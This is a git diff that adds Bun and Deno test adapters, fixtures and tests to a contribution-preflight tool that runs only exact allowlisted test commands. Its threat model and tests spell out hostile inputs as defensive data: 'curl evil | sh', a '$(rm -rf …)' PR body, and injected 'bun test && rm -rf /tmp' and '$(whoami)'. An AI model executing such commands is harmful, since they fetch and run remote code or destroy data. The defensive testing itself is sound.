diff --git a/README.md b/README.md index e983e45..5853cde 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): `--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository. -`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository. +`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository. `CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv. @@ -65,7 +65,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): - Golden fixtures under `fixtures/repos/` - Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`) - MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt` -- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`) +- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test` (advisory `command_recorded` only unless `blockAdapters`) - Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md) ## What is not shipped diff --git a/adapters/bun-test/README.md b/adapters/bun-test/README.md new file mode 100644 index 0000000..74342cd --- /dev/null +++ b/adapters/bun-test/README.md @@ -0,0 +1,6 @@ +# bun-test + +Activates when the target tree has `bun.lockb`, `bun.lock`, or a `package.json` whose +`packageManager` is `bun` (including a version such as `bun@1.2.3`). Adds an advisory `bun test` +recording check. It does not execute Bun unless `--run-tests` is explicitly passed, and only the +exact `bun test` argv is allowlisted. Target-repository adapter folders are ignored. diff --git a/adapters/bun-test/adapter.json b/adapters/bun-test/adapter.json new file mode 100644 index 0000000..eb545ae --- /dev/null +++ b/adapters/bun-test/adapter.json @@ -0,0 +1,9 @@ +{ + "id": "bun-test", + "match": { + "filesAny": ["bun.lockb", "bun.lock", "package.json"], + "packageManager": "bun" + }, + "testCommand": "bun test", + "maxDiffLines": null +} diff --git a/adapters/bun-test/hints.yml b/adapters/bun-test/hints.yml new file mode 100644 index 0000000..a6d0926 --- /dev/null +++ b/adapters/bun-test/hints.yml @@ -0,0 +1,2 @@ +id: bun-test +testFamily: bun test diff --git a/adapters/bun-test/tests/golden.json b/adapters/bun-test/tests/golden.json new file mode 100644 index 0000000..5852d91 --- /dev/null +++ b/adapters/bun-test/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "bun-test", + "expectRuleId": "adapter-bun-test", + "expectCommand": "bun test", + "expectSeverity": "advisory" +} diff --git a/adapters/deno-test/README.md b/adapters/deno-test/README.md new file mode 100644 index 0000000..e890802 --- /dev/null +++ b/adapters/deno-test/README.md @@ -0,0 +1,5 @@ +# deno-test + +Activates when the target tree has `deno.json` or `deno.jsonc`. Adds an advisory `deno test` +recording check. It does not execute Deno unless `--run-tests` is explicitly passed, and only the +exact `deno test` argv is allowlisted. Target-repository adapter folders are ignored. diff --git a/adapters/deno-test/adapter.json b/adapters/deno-test/adapter.json new file mode 100644 index 0000000..7ec20a4 --- /dev/null +++ b/adapters/deno-test/adapter.json @@ -0,0 +1,6 @@ +{ + "id": "deno-test", + "match": { "filesAny": ["deno.json", "deno.jsonc"] }, + "testCommand": "deno test", + "maxDiffLines": null +} diff --git a/adapters/deno-test/hints.yml b/adapters/deno-test/hints.yml new file mode 100644 index 0000000..13a0f9d --- /dev/null +++ b/adapters/deno-test/hints.yml @@ -0,0 +1,2 @@ +id: deno-test +testFamily: deno test diff --git a/adapters/deno-test/tests/golden.json b/adapters/deno-test/tests/golden.json new file mode 100644 index 0000000..cd7b9cc --- /dev/null +++ b/adapters/deno-test/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "deno-test", + "expectRuleId": "adapter-deno-test", + "expectCommand": "deno test", + "expectSeverity": "advisory" +} diff --git a/adapters/node-npm-test/adapter.json b/adapters/node-npm-test/adapter.json index 05dc230..d9dbc7b 100644 --- a/adapters/node-npm-test/adapter.json +++ b/adapters/node-npm-test/adapter.json @@ -1,6 +1,6 @@ { "id": "node-npm-test", - "match": { "filesAny": ["package.json"] }, + "match": { "filesAny": ["package.json"], "excludePackageManagers": ["bun"] }, "testCommand": "npm test", "maxDiffLines": null } diff --git a/docs/ADAPTER_AUTHORING.md b/docs/ADAPTER_AUTHORING.md index b9e6ce3..fa54665 100644 --- a/docs/ADAPTER_AUTHORING.md +++ b/docs/ADAPTER_AUTHORING.md @@ -38,5 +38,7 @@ PR description must state whether the adapter is advisory or listed in `blockAda is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy. -The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have -a real repository shape to match and should not be added only to increase the adapter count. +The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, and `deno-test`. +New adapters should have a real repository shape to match and should not be added only to increase +the adapter count. A manifest may use `packageManager: bun` for a `package.json` marker; a +`packageManager` condition is not applied to lockfile matches. diff --git a/docs/THREAT_MODEL.md b/docs/THREAT_MODEL.md index 2aa4d69..6df7ab2 100644 --- a/docs/THREAT_MODEL.md +++ b/docs/THREAT_MODEL.md @@ -17,7 +17,7 @@ | ID | Threat | Control | | --- | --- | --- | -| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. | +| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. | | T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. | | T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. | | T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. | diff --git a/fixtures/repos/bun-lock/CONTRIBUTING.md b/fixtures/repos/bun-lock/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-lock/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-lock/LICENSE b/fixtures/repos/bun-lock/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-lock/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-lock/bun.lock b/fixtures/repos/bun-lock/bun.lock new file mode 100644 index 0000000..92a50d6 --- /dev/null +++ b/fixtures/repos/bun-lock/bun.lock @@ -0,0 +1 @@ +# Bun lockfile fixture. diff --git a/fixtures/repos/bun-lock/change/README.md b/fixtures/repos/bun-lock/change/README.md new file mode 100644 index 0000000..126b4ea --- /dev/null +++ b/fixtures/repos/bun-lock/change/README.md @@ -0,0 +1 @@ +Bun lockfile adapter fixture. diff --git a/fixtures/repos/bun-lockb/CONTRIBUTING.md b/fixtures/repos/bun-lockb/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-lockb/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-lockb/LICENSE b/fixtures/repos/bun-lockb/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-lockb/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-lockb/bun.lockb b/fixtures/repos/bun-lockb/bun.lockb new file mode 100644 index 0000000..96de3c4 --- /dev/null +++ b/fixtures/repos/bun-lockb/bun.lockb @@ -0,0 +1 @@ +fixture lockfile placeholder diff --git a/fixtures/repos/bun-lockb/change/README.md b/fixtures/repos/bun-lockb/change/README.md new file mode 100644 index 0000000..664eb53 --- /dev/null +++ b/fixtures/repos/bun-lockb/change/README.md @@ -0,0 +1 @@ +Bun binary-lockfile path adapter fixture. diff --git a/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md b/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-package-manager-negative/LICENSE b/fixtures/repos/bun-package-manager-negative/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-package-manager-negative/change/README.md b/fixtures/repos/bun-package-manager-negative/change/README.md new file mode 100644 index 0000000..316b21e --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/change/README.md @@ -0,0 +1 @@ +Non-Bun packageManager adapter fixture. diff --git a/fixtures/repos/bun-package-manager-negative/package.json b/fixtures/repos/bun-package-manager-negative/package.json new file mode 100644 index 0000000..1e64960 --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/package.json @@ -0,0 +1,4 @@ +{ + "name": "not-a-bun-fixture", + "packageManager": "npm@10.8.2" +} diff --git a/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md b/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md new file mode 100644 index 0000000..9e9e2c5 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +The repository test command is `bun test`. diff --git a/fixtures/repos/bun-package-manager-script/LICENSE b/fixtures/repos/bun-package-manager-script/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-package-manager-script/change/README.md b/fixtures/repos/bun-package-manager-script/change/README.md new file mode 100644 index 0000000..1670905 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/change/README.md @@ -0,0 +1 @@ +Bun compiler inference fixture. diff --git a/fixtures/repos/bun-package-manager-script/package.json b/fixtures/repos/bun-package-manager-script/package.json new file mode 100644 index 0000000..af36de6 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/package.json @@ -0,0 +1,7 @@ +{ + "name": "bun-package-manager-script-fixture", + "packageManager": "bun@1.2.3", + "scripts": { + "test": "bun test" + } +} diff --git a/fixtures/repos/bun-package-manager/CONTRIBUTING.md b/fixtures/repos/bun-package-manager/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-package-manager/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-package-manager/LICENSE b/fixtures/repos/bun-package-manager/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-package-manager/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-package-manager/change/README.md b/fixtures/repos/bun-package-manager/change/README.md new file mode 100644 index 0000000..ae0a1bf --- /dev/null +++ b/fixtures/repos/bun-package-manager/change/README.md @@ -0,0 +1 @@ +Bun packageManager adapter fixture. diff --git a/fixtures/repos/bun-package-manager/package.json b/fixtures/repos/bun-package-manager/package.json new file mode 100644 index 0000000..c1513dc --- /dev/null +++ b/fixtures/repos/bun-package-manager/package.json @@ -0,0 +1,4 @@ +{ + "name": "bun-package-manager-fixture", + "packageManager": "bun@1.2.3" +} diff --git a/fixtures/repos/deno-jsonc/CONTRIBUTING.md b/fixtures/repos/deno-jsonc/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/deno-jsonc/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/deno-jsonc/LICENSE b/fixtures/repos/deno-jsonc/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/deno-jsonc/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/deno-jsonc/change/README.md b/fixtures/repos/deno-jsonc/change/README.md new file mode 100644 index 0000000..288d17c --- /dev/null +++ b/fixtures/repos/deno-jsonc/change/README.md @@ -0,0 +1 @@ +Deno JSONC adapter fixture. diff --git a/fixtures/repos/deno-jsonc/deno.jsonc b/fixtures/repos/deno-jsonc/deno.jsonc new file mode 100644 index 0000000..06f0a86 --- /dev/null +++ b/fixtures/repos/deno-jsonc/deno.jsonc @@ -0,0 +1,6 @@ +{ + // JSONC is a supported Deno project marker. + "tasks": { + "test": "deno test" + } +} diff --git a/fixtures/repos/deno-test/CONTRIBUTING.md b/fixtures/repos/deno-test/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/deno-test/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/deno-test/LICENSE b/fixtures/repos/deno-test/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/deno-test/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/deno-test/change/README.md b/fixtures/repos/deno-test/change/README.md new file mode 100644 index 0000000..f4ef065 --- /dev/null +++ b/fixtures/repos/deno-test/change/README.md @@ -0,0 +1 @@ +Deno adapter fixture. diff --git a/fixtures/repos/deno-test/deno.json b/fixtures/repos/deno-test/deno.json new file mode 100644 index 0000000..fcc6961 --- /dev/null +++ b/fixtures/repos/deno-test/deno.json @@ -0,0 +1,5 @@ +{ + "tasks": { + "test": "deno test" + } +} diff --git a/src/adapters.ts b/src/adapters.ts index 3285e45..af6f632 100644 --- a/src/adapters.ts +++ b/src/adapters.ts @@ -1,14 +1,19 @@ import { readdirSync, readFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { fileURLToPath } from "node:url"; -import { allowlistedArgv, commandsEquivalent } from "./allowlist.js"; +import { + allowlistedArgv, + commandsEquivalent, + packageManagerMatches, + type PackageManager, +} from "./allowlist.js"; import { compareTextUnit } from "./canonical.js"; import { firstExisting } from "./repo.js"; import { isRecord, type ContractRule, type Severity } from "./types.js"; export interface AdapterManifest { id: string; - match: { filesAny: string[] }; + match: { filesAny: string[]; packageManager?: PackageManager; excludePackageManagers?: PackageManager[] }; testCommand: string; maxDiffLines: number | null; } @@ -37,6 +42,14 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine if (!isRecord(match) || !Array.isArray(match.filesAny) || match.filesAny.length === 0) return undefined; const filesAny = match.filesAny.filter((item): item is string => typeof item === "string" && item.length > 0); if (filesAny.length === 0) return undefined; + const packageManager = match.packageManager; + if (packageManager !== undefined && packageManager !== "bun") return undefined; + const excluded = match.excludePackageManagers; + if (excluded !== undefined && !Array.isArray(excluded)) return undefined; + const excludePackageManagers = excluded?.filter( + (item): item is PackageManager => item === "npm" || item === "pnpm" || item === "yarn" || item === "bun", + ); + if (excluded !== undefined && excludePackageManagers?.length !== excluded.length) return undefined; if (typeof raw.testCommand !== "string" || raw.testCommand.trim().length === 0) return undefined; const maxDiffLines = raw.maxDiffLines === null || raw.maxDiffLines === undefined ? null @@ -44,7 +57,16 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine ? raw.maxDiffLines : null; if (raw.id !== folder) return undefined; - return { id: raw.id, match: { filesAny }, testCommand: raw.testCommand.trim(), maxDiffLines }; + return { + id: raw.id, + match: { + filesAny, + ...(packageManager !== undefined ? { packageManager } : {}), + ...(excludePackageManagers !== undefined ? { excludePackageManagers } : {}), + }, + testCommand: raw.testCommand.trim(), + maxDiffLines, + }; } export function loadBundledAdapters(): AdapterManifest[] { @@ -71,6 +93,23 @@ export function loadBundledAdapters(): AdapterManifest[] { return loaded; } +async function matchingAdapterFile( + repoPath: string, + ref: string, + match: AdapterManifest["match"], +): Promise<{ path: string; text: string } | undefined> { + for (const path of match.filesAny) { + const hit = await firstExisting(repoPath, ref, [path]); + if (hit === undefined) continue; + if (path === "package.json") { + if (match.packageManager !== undefined && !packageManagerMatches(hit.text, match.packageManager)) continue; + if (match.excludePackageManagers?.some((item) => packageManagerMatches(hit.text, item))) continue; + } + return hit; + } + return undefined; +} + export async function adapterRules(options: { repoPath: string; ref: string; @@ -79,7 +118,7 @@ export async function adapterRules(options: { }): Promise { const rules: ContractRule[] = []; for (const adapter of loadBundledAdapters()) { - const hit = await firstExisting(options.repoPath, options.ref, adapter.match.filesAny); + const hit = await matchingAdapterFile(options.repoPath, options.ref, adapter.match); if (hit === undefined) continue; const argv = allowlistedArgv(adapter.testCommand); if (argv === undefined) { diff --git a/src/allowlist.ts b/src/allowlist.ts index 4e4768d..70db00b 100644 --- a/src/allowlist.ts +++ b/src/allowlist.ts @@ -13,8 +13,12 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [ ["python", "-m", "pytest"], ["cargo", "test"], ["go", "test"], + ["bun", "test"], + ["deno", "test"], ]; +export type PackageManager = "npm" | "pnpm" | "yarn" | "bun"; + const SHELL_META = /[|;&`$<>()]/; export function hasShellMeta(command: string): boolean { @@ -54,6 +58,30 @@ export function allowlistedArgv(command: string): string[] | undefined { return argv.length === family.length ? [...argv] : undefined; } +export function packageManagerFromPackageJson(text: string): PackageManager | undefined { + try { + const parsed: unknown = JSON.parse(text); + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return undefined; + const value = (parsed as Record).packageManager; + if (typeof value !== "string") return undefined; + const managers: readonly PackageManager[] = ["npm", "pnpm", "yarn", "bun"]; + for (const manager of managers) { + if (value === manager) return manager; + if (value.startsWith(`${manager}@`) && value.length > manager.length + 1) return manager; + } + return undefined; + } catch { + return undefined; + } +} + +export function packageManagerMatches( + packageJson: string, + expected: PackageManager, +): boolean { + return packageManagerFromPackageJson(packageJson) === expected; +} + export function commandsEquivalent(recorded: string, required: string): boolean { const rec = tokenizeArgv(recorded); const req = tokenizeArgv(required); @@ -68,16 +96,19 @@ export function commandsEquivalent(recorded: string, required: string): boolean export function inferTestCommand(hints: { policyCommand?: string; - packageManager?: "npm" | "pnpm" | "yarn"; + packageManager?: PackageManager; hasNpmTestScript?: boolean; mentionsPytest?: boolean; mentionsCargo?: boolean; mentionsGo?: boolean; + mentionsBun?: boolean; + mentionsDeno?: boolean; }): string | undefined { if (hints.policyCommand !== undefined) { return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined; } if (hints.hasNpmTestScript) { + if (hints.packageManager === "bun") return "bun test"; if (hints.packageManager === "pnpm") return "pnpm test"; if (hints.packageManager === "yarn") return "yarn test"; return "npm test"; @@ -85,5 +116,7 @@ export function inferTestCommand(hints: { if (hints.mentionsPytest) return "pytest"; if (hints.mentionsCargo) return "cargo test"; if (hints.mentionsGo) return "go test"; + if (hints.mentionsBun) return "bun test"; + if (hints.mentionsDeno) return "deno test"; return undefined; } diff --git a/src/compile.ts b/src/compile.ts index 943da83..c57ae2d 100644 --- a/src/compile.ts +++ b/src/compile.ts @@ -1,6 +1,11 @@ import { resolve } from "node:path"; import { compareTextUnit, digestText } from "./canonical.js"; -import { allowlistedArgv, inferTestCommand } from "./allowlist.js"; +import { + allowlistedArgv, + inferTestCommand, + packageManagerFromPackageJson, + type PackageManager, +} from "./allowlist.js"; import { parseCodeowners } from "./codeowners.js"; import { parsePolicyYaml } from "./policy.js"; import { @@ -25,7 +30,7 @@ const SIZE_FILES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+file const SIZE_LINES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+(?:diff\s+)?lines?\b/i; const TEST_COMMAND_LINE = /(?:^|\n)\s*test(?:s)?\s*[:=]\s*(.+)/i; const ALLOWED_TEST_MENTION = - /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test)\b/i; + /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|bun test|deno test)\b/i; const AI_REQUIRE = /(?:\b(ai|llm|claude|codex)\b.{0,80}\b(disclos|must mention|required|declare)\b|\b(disclos|must mention|declare).{0,80}\b(ai|llm|claude|codex)\b)/i; const DCO_REQUIRE = /(?:require[sd]?|must).{0,40}signed-off-by|signed-off-by.{0,40}(?:required|must)/i; @@ -53,7 +58,11 @@ function addSource(sources: ContractSource[], path: string, text: string): void sources.push({ path, digest: digestText(text) }); } -function parsePackageScripts(text: string): { hasTest: boolean; mentionsPytest: boolean } { +function parsePackageScripts(text: string): { + hasTest: boolean; + mentionsPytest: boolean; + packageManager?: PackageManager; +} { try { const parsed: unknown = JSON.parse(text); if (!isRecord(parsed)) return { hasTest: false, mentionsPytest: false }; @@ -69,7 +78,12 @@ function parsePackageScripts(text: string): { hasTest: boolean; mentionsPytest: } if (/\bpytest\b/i.test(value) || /\bpytest\b/i.test(name)) mentionsPytest = true; } - return { hasTest, mentionsPytest }; + const packageManager = packageManagerFromPackageJson(text); + return { + hasTest, + mentionsPytest, + ...(packageManager !== undefined ? { packageManager } : {}), + }; } catch { return { hasTest: false, mentionsPytest: false }; } @@ -326,20 +340,28 @@ export async function compile(options: CompileOptions): Promise { - it("loads python-pytest, node-npm-test, and go-test sorted by id", () => { + it("loads bundled adapters sorted by id", () => { const adapters = loadBundledAdapters(); - expect(adapters.map((item) => item.id)).toEqual(["go-test", "node-npm-test", "python-pytest"]); + expect(adapters.map((item) => item.id)).toEqual([ + "bun-test", + "deno-test", + "go-test", + "node-npm-test", + "python-pytest", + ]); }); it("matches golden.json command families", () => { - for (const id of ["go-test", "node-npm-test", "python-pytest"]) { + for (const id of ["bun-test", "deno-test", "go-test", "node-npm-test", "python-pytest"]) { const golden = JSON.parse( readFileSync(join(repoRoot, "adapters", id, "tests", "golden.json"), "utf8"), ) as { expectRuleId: string; expectCommand: string; expectSeverity: string }; const adapter = loadBundledAdapters().find((item) => item.id === id); + expect(adapter?.id).toBe(golden.expectRuleId.slice("adapter-".length)); expect(adapter?.testCommand).toBe(golden.expectCommand); } }); @@ -31,4 +40,75 @@ describe("bundled adapters", () => { expect(rule?.severity).toBe("advisory"); expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); }); + + it("deno-test matches both Deno project marker forms", async () => { + for (const [fixture, origin] of [["deno-test", "deno.json"], ["deno-jsonc", "deno.jsonc"]] as const) { + const repo = await stageFixture(fixture); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "adapter-deno-test"); + expect(rule?.origin).toBe(origin); + expect(rule?.check).toBe("command_recorded"); + expect(rule?.command).toBe("deno test"); + expect(rule?.severity).toBe("advisory"); + } + }); + + it("bun-test matches lockfiles and Bun packageManager without matching npm", async () => { + for (const [fixture, origin] of [["bun-lock", "bun.lock"], ["bun-lockb", "bun.lockb"], ["bun-package-manager", "package.json"]] as const) { + const repo = await stageFixture(fixture); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "adapter-bun-test"); + expect(rule?.origin).toBe(origin); + expect(rule?.command).toBe("bun test"); + expect(rule?.severity).toBe("advisory"); + expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); + } + + const nonBun = await stageFixture("bun-package-manager-negative"); + const nonBunContract = await compile({ repoPath: nonBun }); + expect(allRules(nonBunContract).some((item) => item.id === "adapter-bun-test")).toBe(false); + }); + + it("infers bun test from a Bun packageManager test script", async () => { + const repo = await stageFixture("bun-package-manager-script"); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "test-command"); + expect(rule?.command).toBe("bun test"); + expect(allRules(contract).some((item) => item.id === "adapter-bun-test")).toBe(false); + expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); + }); + + it("runs Deno and Bun only after opt-in and with exact argv", async () => { + const executeCommand = vi.fn(async () => ({ exitCode: 0, stdout: "passed", stderr: "" })); + const denoRepo = await stageFixture("deno-test"); + const denoWithoutOptIn = await preflight({ repoPath: denoRepo, baseRef: "HEAD", executeCommand }); + expect(denoWithoutOptIn.snapshot.recordedCommands).toEqual([]); + expect(executeCommand).not.toHaveBeenCalled(); + const denoWithOptIn = await preflight({ + repoPath: denoRepo, + baseRef: "HEAD", + runTests: true, + executeCommand, + }); + expect(executeCommand).toHaveBeenLastCalledWith(["deno", "test"], denoRepo); + expect(denoWithOptIn.snapshot.recordedCommands[0]).toMatchObject({ + command: "deno test", + exitCode: 0, + source: "executed", + }); + + const bunRepo = await stageFixture("bun-lock"); + await preflight({ repoPath: bunRepo, baseRef: "HEAD", runTests: true, executeCommand }); + expect(executeCommand).toHaveBeenLastCalledWith(["bun", "test"], bunRepo); + }); + + it("rejects extra arguments and shell syntax for the new families", () => { + expect(allowlistedArgv("deno test")).toEqual(["deno", "test"]); + expect(allowlistedArgv("bun test")).toEqual(["bun", "test"]); + expect(allowlistedArgv("deno test --allow-net")).toBeUndefined(); + expect(allowlistedArgv("bun test --watch")).toBeUndefined(); + expect(allowlistedArgv("deno test | sh")).toBeUndefined(); + expect(allowlistedArgv("bun test && rm -rf /tmp")).toBeUndefined(); + expect(allowlistedArgv("bun test $(whoami)")).toBeUndefined(); + }); });